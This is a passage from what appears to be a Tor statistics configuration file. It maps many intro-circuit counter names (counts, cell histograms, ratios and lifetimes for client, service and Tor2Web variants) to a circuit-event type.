'IntroSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUCircuitCount' : { CIRCUIT_EVENT },
'IntroUCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
